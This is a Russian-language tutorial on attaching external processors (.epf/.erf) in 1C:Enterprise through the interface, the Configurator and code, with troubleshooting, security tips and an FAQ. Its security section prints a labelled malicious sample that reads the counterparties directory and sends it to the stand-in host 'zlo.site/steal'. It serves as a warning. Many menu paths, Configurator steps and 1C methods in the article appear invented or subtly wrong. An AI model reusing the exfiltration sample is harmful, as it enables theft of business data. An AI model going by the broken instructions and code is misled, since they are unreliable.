Работа с внешними обработками в 1С:Предприятие — неотъемлемая часть кастомизации системы под нужды бизнеса. Эти файлы с расширением .epf или .erf позволяют расширять функционал типовой конфигурации без изменения её исходного кода, что критично для поддержки обновлений. Однако многие пользователи сталкиваются с трудностями при их подключении: система не видит файл, возникают ошибки прав доступа или обработка просто не отображается в списке.
В этой статье мы разберём три основных способа добавления внешних обработок (через интерфейс пользователя, программно и через конфигуратор), рассмотрим типичные ошибки и их решения, а также дадим рекомендации по безопасности. Особое внимание уделим нюансам работы в последних версиях платформы 1С:Предприятие 8.3.22+, где механизм подключения претерпел изменения.
Если вы администратор, разработчик или продвинутый пользователь — здесь найдёте чек-листы для быстрой настройки. Новичку пригодятся пошаговые скриншоты (описания интерфейса) и разъяснения терминов. Начнём с самого простого метода — ручного добавления через меню программы.
1. Добавление внешней обработки через интерфейс 1С
Самый доступный способ — подключить обработку непосредственно из пользовательского режима 1С:Предприятие. Этот метод не требует прав конфигуратора и подходит для большинства типовых задач (например, загрузки прайс-листов или печатных форм).
Алгоритм действий:
- 📁 Откройте 1С:Предприятие в режиме пользователя (не конфигуратора!).
- 🔍 Перейдите в меню
Файл → Открыть...(или нажмитеCtrl+O). - 📄 В диалоговом окне выберите файл обработки (
.epfили.erf) и нажмите «Открыть». - ⚙️ Если обработка требует дополнительных параметров, заполните их в открывшемся окне.
После успешного подключения обработка появится в списке внешних обработок (Сервис → Внешние обработки). Однако здесь есть подводные камни:
Файл обработки не повреждён (открывается в конфигураторе)
Версия платформы 1С совпадает с версией, для которой написана обработка
У пользователя есть права на подключение внешних файлов
Обработка не требует дополнительных библиотек (например, OneScript)
-->
Важно: В версиях 8.3.20+ появилось ограничение на подключение обработок из недоверенных источников. Если файл не подписан сертификатом, система выдаст предупреждение. Чтобы его обойти, нужно:
- Перейти в
Сервис → Настройки → Безопасность. - Добавить путь к папке с обработками в список доверенных расположений.
- Либо подписать обработку сертификатом (для корпоративного использования).
Раз в неделю
Раз в месяц
Реже
Никогда не пробовал-->
2. Подключение обработки через конфигуратор
Если обработка должна быть доступна всем пользователям базы или требует интеграции с конфигурацией (например, вызов из меню), её необходимо добавить через Конфигуратор. Этот метод даёт больше контроля, но требует прав администратора.
Пошаговая инструкция:
- Запустите 1С:Предприятие в режиме
Конфигуратор(выберите базу и удерживайтеShiftпри запуске). - Откройте дерево конфигурации:
Объекты → Общие → Внешние обработки. - Нажмите «Добавить» (или
Insert) и укажите путь к файлу.epf/.erf. - Задайте имя обработки в конфигурации (может отличаться от имени файла).
- Сохраните конфигурацию (
F7) и обновите базу (Конфигурация → Обновить конфигурацию базы данных).
После обновления обработка станет доступна:
- 📋 В списке
Сервис → Внешние обработки(если добавлена как общий объект). - 🔗 Через прямую ссылку в коде (например,
ВнешниеОбработки.ИмяОбработки.Создать).
Что делать если обработка не появляется в списке?
1. Проверьте, что файл физически находится по указанному пути (иногда путь в конфигураторе указывается относительно, а система ищет абсолютный).
2. Убедитесь, что обработка совместима с версией платформы (откройте её в конфигураторе отдельно — если выдаёт ошибки, требуется доработка).
3. Обновите кэш 1С: закройте все сеансы, удалите файлы из папки %APPDATA%\1C\1Cv8\ (или ~1CV8 для Linux), перезапустите базу.
Критическая особенность: Если обработка добавлена через конфигуратор, но не видна пользователям, проверьте права ролей. В разделе Администрирование → Пользователи и права должна быть разрешена работа с внешними обработками для соответствующих ролей (например, Полные права или кастомная роль).
Чтобы ускорить тестирование, добавьте обработку в тестовую базу сначала. Для этого скопируйте продуктивную базу через Конфигуратор → Администрирование → Выгрузить информационную базу и работайте с копией.
3. Программное подключение обработки (для разработчиков)
Для автоматизации или динамического подключения обработок (например, при старте системы) используется встроенный язык 1С. Этот метод полезен, если обработка должна подгружаться по условию (например, только для определённых пользователей или в определённое время).
Базовый код для подключения:
Процедура ПодключитьВнешнююОбработку
ПутьКФайлу ="C:\Обработки\МояОбработка.epf"; // Укажите актуальный путь
Попытка
ВнешняяОбработка = ВнешниеОбработки.Создать(ПутьКФайлу);
ВнешняяОбработка.Открыть;
Исключение
Сообщить("Ошибка подключения:" + ОписаниеОшибки, СтатусСообщения.Важное);
КонецПопытки;
КонецПроцедуры
Где разместить этот код?
- 📌 В глобальном модуле (для вызова из любого места системы).
- 📌 В обработке события
ПриНачалеРаботыСистемы(для автоматического подключения при старте). - 📌 В командном интерфейсе (если обработка должна открываться по кнопке).
В версиях 8.3.21+ при программном подключении обязательно указывайте полный путь к файлу. Относительные пути (например, ".\Обработки\file.epf") могут не работать из-за изменений в политике безопасности платформы.
Для динамического управления обработками (например, подгрузки по расписанию) используйте регламентные задания:
Процедура ЗапуститьОбработкуПоРасписанию
Расписание = РегламентныеЗадания.СоздатьМенеджерЗаданий;
Задание = Расписание.НайтиПоИмени("ПодключениеОбработки");
Если Задание = Неопределено Тогда
Задание = Расписание.СоздатьЗадание;
Задание.Имя ="ПодключениеОбработки";
Задание.Периодичность = ПериодичностьРегламентногоЗадания.Ежедневно;
Задание.ВремяНачала = НачалоДня(ТекущаяДата) + 3600; // Через час после полуночи
Задание.Использовать = Истина;
Задание.Модуль = ПолноеИмяМодуля("ОбщийМодуль.МойМодуль.ПодключитьВнешнююОбработку");
КонецЕсли;
КонецПроцедуры
4. Типичные ошибки и их решения
Даже опытные пользователи сталкиваются с проблемами при подключении внешних обработок. Рассмотрим самые распространённые ошибки и способы их устранения.
| Ошибка | Вероятная причина | Решение |
|---|---|---|
Ошибка при открытии файла |
Файл повреждён или несовместим с версией платформы | Откройте файл в конфигураторе отдельно для проверки. При необходимости пересохраните в актуальной версии. |
Недостаточно прав |
У пользователя нет прав на подключение внешних обработок | Настройте роль в Администрирование → Пользователи и права. |
| Обработка не отображается в списке | Файл не добавлен в конфигурацию или кэш не обновлён | Проверьте путь в конфигураторе, очистите кэш (%APPDATA%\1C\1Cv8\). |
Не найден метод <ИмяМетода> |
Обработка требует обновления или зависит от отсутствующих библиотек | Свяжитесь с разработчиком обработки для уточнения зависимостей. |
Особый случай: Если при подключении появляется сообщение "Обработка не подписана доверенным сертификатом", а добавить путь в доверенные расположения не помогает, выполните следующие шаги:
- Экспортируйте сертификат из обработки (если он есть) через
Конфигуратор → Файл → Открыть → Выбрать файл обработки → Сертификаты. - Импортируйте сертификат в хранилище сертификатов 1С:
Сервис → Сертификаты. - Перезапустите 1С и повторите подключение.
Если обработка критична для работы (например, используется для выгрузки данных в ФНС), протестируйте её на тестовой базе перед развёртыванием на рабочем сервере. Это позволит избежать блокировки работы из-за ошибок.
5. Безопасность при работе с внешними обработками
Подключение сторонних обработок — потенциальная угроза безопасности данных. Злоумышленники могут внедрить в .epf-файлы вредоносный код, который украдёт данные или повредит базу. Следуйте этим правилам:
- 🔒 Используйте только обработки из проверенных источников (официальные партнёры 1С, доверенные разработчики).
- 📜 Перед подключением откройте файл в Конфигураторе и проверьте код на наличие подозрительных функций (например,
Выполнить,ЗаписатьФайлбез явной необходимости). - 🛡️ Настройте политики безопасности в 1С: ограничьте права на подключение обработок для обычных пользователей.
- 🔄 Регулярно обновляйте обработки (как и саму платформу 1С) — в новых версиях часто закрываются уязвимости.
Пример опасного кода, который может содержаться в обработке:
// Вредоносный пример (не выполняйте!)
Процедура УкрастьДанные
ТекстЗапроса ="ВЫБРАТЬ * ИЗ Справочник.Контрагенты";
Результат = Новый Запрос(ТекстЗапроса);
Результат.Выполнить;
// Отправка данных на внешний сервер
HTTPСоединение = Новый HTTPСоединение("zlo.site/steal",,,,);
HTTPСоединение.ОтправитьДанные(Результат.Выгрузить);
КонецПроцедуры
Как защититься?
- Используйте песочницу (режим ограниченного выполнения) для недоверенных обработок. Включается в настройках безопасности 1С.
- Настройте логирование подключаемых обработок: ведите журнал, кто и когда их подключал.
- Для корпоративных решений применяйте электронную подпись обработок с проверкой сертификата.
Создайте белый список разрешённых обработок в настройках 1С. Это позволит блокировать подключение любых других файлов, даже если они попадут в систему.
6. Примеры практического применения внешних обработок
Внешние обработки решают сотни задач — от автоматизации рутинных операций до интеграции с внешними системами. Рассмотрим несколько типичных сценариев.
1. Загрузка данных из Excel
Обработка позволяет импортировать данные из Excel-файлов в справочники 1С (например, номенклатуру или контрагентов). Пример кода для вызова:
Процедура ЗагрузитьИзExcel(ПутьКФайлу)
Обработка = ВнешниеОбработки.Создать("C:\Обработки\ExcelImport.epf");
Обработка.ПутьКФайлу = ПутьКФайлу;
Обработка.ВыполнитьЗагрузку;
КонецПроцедуры
2. Печатные формы документов
Если типовой отчёт не подходит, можно подключить кастомную печатную форму. Например, для счёта-фактуры:
Процедура ПечатьСчетаФактуры(Документ)
Обработка = ВнешниеОбработки.Создать("C:\Обработки\ПечатьСчета.epf");
Обработка.УстановитьДокумент(Документ);
Обработка.Сформировать;
КонецПроцедуры
3. Интеграция с API банков
Обработки часто используются для обмена платежными поручениями с банками (Сбербанк, Тинькофф, Альфа-Банк). Пример настройки:
- 🏦 Подключите обработку от банка (обычно предоставляется в личном кабинете).
- 🔑 Настройте параметры подключения (токен, URL API) в форме обработки.
- 🔄 Запустите синхронизацию (
Обработка.ВыполнитьОбмен).
4. Автоматическое формирование отчётности
Обработки для ФНС, ПФР или Росстат позволяют формировать отчёты в требуемом формате и отправлять их из 1С. Пример:
Процедура ОтправитьОтчетВФНС
Обработка = ВнешниеОбработки.Создать("C:\Обработки\ФНС_2026.epf");
Обработка.Период = ТекущаяДата;
Обработка.Отправить;
КонецПроцедуры
Как узнать, какая обработка подходит для вашей задачи?
1. Проверьте каталог решений на сайте 1С (раздел"Дополнения и обработки").
2. Обратитесь к партнёру 1С — он подберёт сертифицированное решение.
3. Для уникальных задач закажите разработку обработки у франчайзи 1С.
FAQ: Частые вопросы по внешним обработкам в 1С
Можно ли подключить обработку, написанную для 1С 8.2, в 8.3?
Теоретически да, но требуется доработка. В 8.3 изменились многие объекты метаданных и синтаксис. Откройте обработку в конфигураторе 8.3 — система покажет ошибки, которые нужно исправить. Типичные проблемы:
- Устаревшие методы (например,
НайтиПоНаименованиювместоПолучитьСсылку). - Изменения в работе с формами (в 8.3 управляемые формы).
- Новые правила безопасности (например, явное указание прав при работе с файлами).
Если обработка простая (например, печатная форма), её можно быстро адаптировать. Для сложных решений (интеграции, обмены данными) лучше искать аналоги для 8.3.
Как сделать, чтобы обработка открывалась по кнопке в документе?
Для этого нужно:
- Добавить обработку в конфигурацию через Конфигуратор (как описано в разделе 2).
- Открыть форму документа, в который нужно добавить кнопку (например,
Документ.РеализацияТоваровУслуг.Форма.ФормаДокумента). - Добавить команду на форму:
Команда = Команды.Добавить("МояОбработка");Команда.Действие ="НаКлиентеНаСервереБезКонтекста МояОбработка_Выполнить";
- Создать процедуру-обработчик:
Процедура МояОбработка_Выполнить(Команда)Обработка = ВнешниеОбработки.ИмяОбработки.Создать;
Обработка.Выполнить(ЭтотОбъект);
КонецПроцедуры
После обновления конфигурации кнопка появится в интерфейсе документа.
Почему обработка работает в тестовой базе, но не работает в рабочей?
Причины могут быть следующими:
- Разные версии платформы: проверьте версию 1С в тестовой и рабочей базе (
Справка → О программе). - Ограничения прав: в рабочей базе могут быть жёстче настройки безопасности.
- Отсутствуют зависимости: обработка может требовать дополнительные библиотеки или модули, которые есть в тестовой базе, но отсутствуют в рабочей.
- Блокировка антивирусом: некоторые антивирусы блокируют выполнение
.epf-файлов. Добавьте папку с обработками в исключения.
Рекомендация: сравните настройки безопасности в обеих базах (Администрирование → Настройки программы → Безопасность) и проверьте журналы 1С на ошибки (Администрирование → Журналы регистрации).
Как удалить внешнюю обработку из конфигурации?
Чтобы удалить обработку, добавленную через конфигуратор:
- Откройте Конфигуратор и перейдите в
Объекты → Общие → Внешние обработки. - Выделите ненужную обработку и нажмите
Delete(или кнопку «Удалить»). - Сохраните конфигурацию (
F7) и обновите базу данных.
Если обработка была подключена в пользовательском режиме, достаточно удалить её файл из папки и очистить кэш 1С.
⚠️ Внимание: Удаление обработки, используемой в регламентных заданиях или командах интерфейса, может привести к ошибкам. Перед удалением проверьте все ссылки на неё в конфигурации.
Можно ли ограничить доступ к обработке для отдельных пользователей?
Да, для этого:
- В Конфигураторе откройте свойства обработки (
Объекты → Общие → Внешние обработки → [Имя обработки]). - Перейдите на закладку
Права. - Настройте права для ролей: отметьте галочками, какие роли могут использовать обработку.
- Сохраните изменения и обновите базу.
Альтернативный способ: создайте новую роль с ограниченными правами и назначьте её выбранным пользователям.